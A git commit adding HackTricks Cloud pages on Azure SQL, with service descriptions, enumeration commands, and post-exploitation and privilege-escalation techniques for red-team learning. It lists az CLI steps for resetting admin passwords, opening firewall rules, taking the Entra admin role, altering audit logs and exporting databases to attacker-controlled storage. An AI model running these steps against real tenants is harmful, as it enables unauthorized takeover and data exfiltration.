Merge pull request #127 from JaimePolop/master

Az SQL
2025-12-23 15:37:53 -08:00 · 2024-12-26 19:51:19 +01:00
parent 9fdf328e7d ef73ef3848
commit beb57622fb
4 changed files with 501 additions and 6 deletions
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -0,0 +1,140 @@
+# Az - SQL Database Post Exploitation
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+## SQL Database Post Exploitation
+For more information about SQL Database check:
+
+{% content-ref url="../az-services/az-sql-database.md" %}
+[az-sql-database.md](../az-services/az-sql-database.md)
+{% endcontent-ref %}
+
+### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+
+With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
+
+{% code overflow="wrap" %}
+```bash
+# Create Database
+az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
+
+# Update Database
+az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+
+With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
+
+{% code overflow="wrap" %}
+```bash
+# Create Elastic Pool
+az sql elastic-pool create \
+    --name <new-elastic-pool-name> \
+    --server <server-name> \
+    --resource-group <resource-group> \
+    --edition <edition> \
+    --dtu <dtu-value>
+
+# Update Elastic Pool
+az sql elastic-pool update \
+    --name <elastic-pool-name> \
+    --server <server-name> \
+    --resource-group <resource-group> \
+    --dtu <new-dtu-value> \
+    --tags <key=value>
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+
+With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
+
+{% code overflow="wrap" %}
+```bash
+az sql server audit-policy update \
+  --server <server_name> \
+  --resource-group <resource_group_name> \
+  --state Enabled \
+  --storage-account <storage_account_name> \
+  --retention-days 7
+```
+{% endcode %}
+
+### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+
+With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
+
+{% code overflow="wrap" %}
+```bash
+az sql server connection-policy update \
+  --server <server_name> \
+  --resource-group <resource_group_name> \
+  --connection-type <Proxy|Redirect|Default>
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/databases/export/action"
+
+With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
+
+{% code overflow="wrap" %}
+```bash
+az sql db export \
+  --server <server_name> \
+  --resource-group <resource_group_name> \
+  --name <database_name> \
+  --storage-uri <storage_blob_uri> \
+  --storage-key-type SharedAccessKey \
+  --admin-user <admin_username> \
+  --admin-password <admin_password>
+
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/databases/import/action"
+
+With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
+
+{% code overflow="wrap" %}
+```bash
+az sql db import --admin-user <admin-user> \
+--admin-password <admin-password> \
+--name <target-database-name> \
+--server <azure-sql-server-name> \
+--resource-group <resource-group-name> \
+--storage-key-type SharedAccessKey \
+--storage-key <storage-account-key> \
+--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -0,0 +1,148 @@
+# Az - SQL Database Privesc
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+## SQL Database Privesc
+For more information about SQL Database check:
+
+{% content-ref url="../az-services/az-sql.md" %}
+[az-sql.md](../az-services/az.md)
+{% endcontent-ref %}
+
+### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
+
+With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
+
+{% code overflow="wrap" %}
+```bash
+# Change the server password
+az sql server update \
+  --name <server_name> \
+  --resource-group <resource_group_name> \
+  --admin-password <new_password>
+
+# Create a new server
+az sql server create \
+  --name <new_server_name> \
+  --resource-group <resource_group_name> \
+  --location <location> \
+  --admin-user <admin_username> \
+  --admin-password <admin_password>
+```
+{% endcode %}
+
+Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
+
+{% code overflow="wrap" %}
+```bash
+az sql server update \
+  --name <server-name> \
+  --resource-group <resource-group> \
+  --enable-public-network true
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/firewallRules/write"
+
+An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
+
+{% code overflow="wrap" %}
+```bash
+# Create Firewall Rule
+az sql server firewall-rule create \
+    --name <new-firewall-rule-name> \
+    --server <server-name> \
+    --resource-group <resource-group> \
+    --start-ip-address <start-ip-address> \
+    --end-ip-address <end-ip-address>
+
+# Update Firewall Rule
+az sql server firewall-rule update \
+    --name <firewall-rule-name> \
+    --server <server-name> \
+    --resource-group <resource-group> \
+    --start-ip-address <new-start-ip-address> \
+    --end-ip-address <new-end-ip-address>
+```
+{% endcode %}
+
+Additionally, ```Microsoft.Sql/servers/outboundFirewallRules/delete``` permission lets you delete a Firewall Rule. 
+NOTE: It is necesary to have the public access enabled 
+
+### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
+
+With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
+
+{% code overflow="wrap" %}
+```bash
+az sql server firewall-rule create \
+  --server <server_name> \
+  --resource-group <resource_group_name> \
+  --name <rule_name> \
+  --start-ip-address <start_ipv6_address> \
+  --end-ip-address <end_ipv6_address>
+```
+{% endcode %}
+
+Additionally, ```Microsoft.Sql/servers/ipv6FirewallRules/delete``` permission lets you delete a Firewall Rule.
+NOTE: It is necesary to have the public access enabled 
+
+### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
+
+With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
+
+{% code overflow="wrap" %}
+```bash
+az sql server ad-admin create \
+  --server <server_name> \
+  --resource-group <resource_group_name> \
+  --display-name <admin_display_name> \
+  --object-id <azure_subscribtion_id>
+```
+{% endcode %}
+
+### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
+
+With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
+
+{% code overflow="wrap" %}
+```bash
+#Enable
+az sql server azure-ad-only-auth enable \
+  --server <server_name> \
+  --resource-group <resource_group_name>
+
+#Disable
+az sql server azure-ad-only-auth disable \
+  --server <server_name> \
+  --resource-group <resource_group_name>
+```
+{% endcode %}
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
--- a/pentesting-cloud/azure-security/az-services/az-sql.md
+++ b/pentesting-cloud/azure-security/az-services/az-sql.md
@@ -15,9 +15,8 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 </details>
 {% endhint %}

-## Basic Information
-
-[From the docs:](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview) Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
+## Azure SQL
+Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.

 Azure SQL consists of three main offerings:

@@ -25,21 +24,205 @@ Azure SQL consists of three main offerings:
 2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
 3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.

+### Azure SQL Database
+
+**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
+
+#### Key Features
+
+* **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
+* **PaaS Capabilities**: Built-in high availability, backups, and updates.
+* **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
+
+#### Purchasing Models / Service Tiers
+
+* **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
+* **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
+    * Standard: Balanced resources for common tasks.
+    * Premium: High performance for demanding workloads.
+
+#### Deployment Models
+
+Azure SQL Database supports flexible deployment options to suit various needs:
+
+* **Single Database**:
+    * A fully isolated database with its own dedicated resources.
+    * Great for microservices or applications requiring a single data source.
+* **Elastic Pool**:
+    * Allows multiple databases to share resources within a pool.
+    * Cost-efficient for applications with fluctuating usage patterns across multiple databases.
+
+#### Scalable performance and pools
+
+* **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
+* **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
+* **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
+* **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
+
+
+#### Built-In Monitoring & Optimization
+
+* **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
+* **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
+* **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
+
+#### Disaster Recovery & Availavility
+
+* **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
+* **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
+* **Geo-Redundancy**
+* **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
+
+### Azure SQL Managed Instance
+
+**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes. 
+
+#### Service Tiers
+
+* **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
+* **Business Critical**: High-performance option with low I/O latency for critical workloads.
+
+
+#### Advanced Security Features
+
+    * **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
+    * **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
+    * **Backups**: Automated and manual backups with point-in-time restore capability.
+
+### Azure SQL Virtual Machines
+
+**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
+
+#### Key Features
+
+**Automated Backup**: Schedule backups for SQL databases.
+**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
+**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
+**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
+**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
+
+#### Security Features
+
+**Microsoft Defender for SQL**: Security insights and alerts.
+**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
+**Microsoft Entra (Azure AD)**: Authentication and access control.
+
 ## Enumeration

+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
 ```bash
-az sql server list
-az sql server show --resource-group <res-grp> --name <name>
-az sql db list --server <server> --resource-group <res-grp>
+# List Servers
+az sql server list # --output table
+## List Server Usages
+az sql server list-usages --name <server_name> --resource-group <resource_group>
+## List Server Firewalls 
+az sql server firewall-rule list --resource-group <resource_group> --server <server_name>
+## List of Azure Active Directory administrators in a server.
+az sql server ad-admin list --resource-group <resource_group> --server <server_name>
+## Gets an advanced threat protection
+az sql server advanced-threat-protection-setting show --resource-group <resource_group> --name <server_name>
+## Get server's auditing policy.
+az sql server audit-policy show --resource-group <resource_group> --name <server_name>
+## Gets a server's secure connection policy.
+az sql server conn-policy show --resource-group <resource_group> --server <server_name>
+## Gets a list of server DNS aliases for a server.
+az sql server dns-alias list --resource-group <resource_group> --server <server_name>
+## List of server keys.
+az sql server key list --resource-group <resource_group> --server <server_name>
+## Gets a server encryption protector.
+az sql server tde-key show --resource-group <resource_group> --server <server_name>

+# List Databases in a SQL server
+az sql db list --server <server_name> --resource-group <resource_group> #--output table
+## Get details of a specific database
+az sql db show --name <database_name> --server <server_name> --resource-group <resource_group>
+## List database usages
+az sql db list-usages --name <database_name> --server <server_name> --resource-group <resource_group>
+## List of operations performed on the database.
+az sql db op list --database <database_name> --server <server_name> --resource-group <resource_group>
+## List sql database classification
+az sql db classification list --name <database_name> --server <server_name> --resource-group <resource_group>
+## List long-term retention backups for a SQL database
+az sql db ltr-backup list --database <database_name> --server <server_name> --resource-group <resource_group>
+## List long-term retention policy
+az sql db ltr-policy --name <database_name> --server <server_name> --resource-group <resource_group>
+## List long-term retention policy
+az sql db str-policy --name <database_name> --server <server_name> --resource-group <resource_group>
+## List the replicas of a database and their replication status
+az sql db replica list-links --name <database_name> --server <server_name> --resource-group <resource_group>
+## List deleted SQL databases
+az sql db list-deleted --server <server_name> --resource-group <resource_group>
+## List database usages
+az sql db list-usages --name <database_name> --server <server_name> --resource-group <resource_group>
+## List restorable dropped databases in a SQL server
+az sql db list-deleted --server <server_name> --resource-group <resource_group>
+## List advanced threat protection setting show
+az sql db advanced-threat-protection-setting --name <database_name> --server <server_name> --resource-group <resource_group>
+
+# List all elastic pools in a SQL server
+az sql elastic-pool list --server <server_name> --resource-group <resource_group> #--output table
+## List all databases in a specific elastic pool
+az sql elastic-pool show --name <elastic_pool_name>  --server <server_name> --resource-group <resource_group>
+## List of databases in an elastic pool.
+az sql elastic-pool list-dbs --name <elastic_pool_name>  --server <server_name> --resource-group <resource_group>
+
+# List all managed Instances
 az sql mi list
 az sql mi show --resource-group <res-grp> --name <name>
 az sql midb list
 az sql midb show --resource-group <res-grp> --name <name>

+# Lis all sql VM
 az sql vm list
 az sql vm show --resource-group <res-grp> --name <name>
 ```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+# List Servers
+Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
+
+# List All Databases in a SQL Server
+Get-AzSqlDatabase -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+# Get Details of a Specific Database
+Get-AzSqlDatabase -Name "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+
+# List Operations Performed on the Database
+Get-AzSqlDatabaseActivity -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+
+# List SQL Database Classification
+Get-AzSqlDatabaseSensitivityClassification -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+
+# List Long-Term Retention Backups for a SQL Database
+Get-AzSqlDatabaseLongTermRetentionBackup -ResourceGroupName "<resource_group>" -Location "<location>"
+# List Replicas of a Database and Their Replication Status
+Get-AzSqlDatabaseReplicationLink -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+# List Deleted SQL Databases
+Get-AzSqlDeletedDatabaseBackup -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+
+# List All Elastic Pools in a SQL Server
+Get-AzSqlElasticPool -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+# List All Databases in a Specific Elastic Pool
+Get-AzSqlElasticPoolDatabase -ElasticPoolName "<elastic_pool_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
+
+# List all managed Instances
+Get-AzSqlInstance
+Get-AzSqlInstance -ResourceGroupName <ResourceGroupName> -Name <ManagedInstanceName>
+
+# List All Databases in a SQL Managed Instance
+Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <ManagedInstanceName>
+
+# Lis all sql VM
+Get-AzSqlVM
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}

 ### Connect and run SQL queries

@@ -64,11 +247,33 @@ function invoke-sql{

 invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
 ```
+
+You can also use sqlcmd to access the database. It is important to know if the server allows public connections ```az sql server show --name <server-name> --resource-group <resource-group>```, and also if it the firewall rule let's our IP to access:
+{% code overflow="wrap" %}
+```powershell
+sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
+```
 {% endcode %}

 ## References

 * [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
+* [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
+* [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
+* [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
+
+## Privilege Escalation
+
+{% content-ref url="../az-privilege-escalation/az-sql-privesc.md" %}
+[az-sql-privesc.md](../az-privilege-escalation/az-sql-privesc.md)
+{% endcontent-ref %}
+
+## Post Exploitation
+
+{% content-ref url="../az-post-exploitation/az-sql-post-exploitation.md" %}
+[az-sql-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
+{% endcontent-ref %}
+

 {% hint style="success" %}
 Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\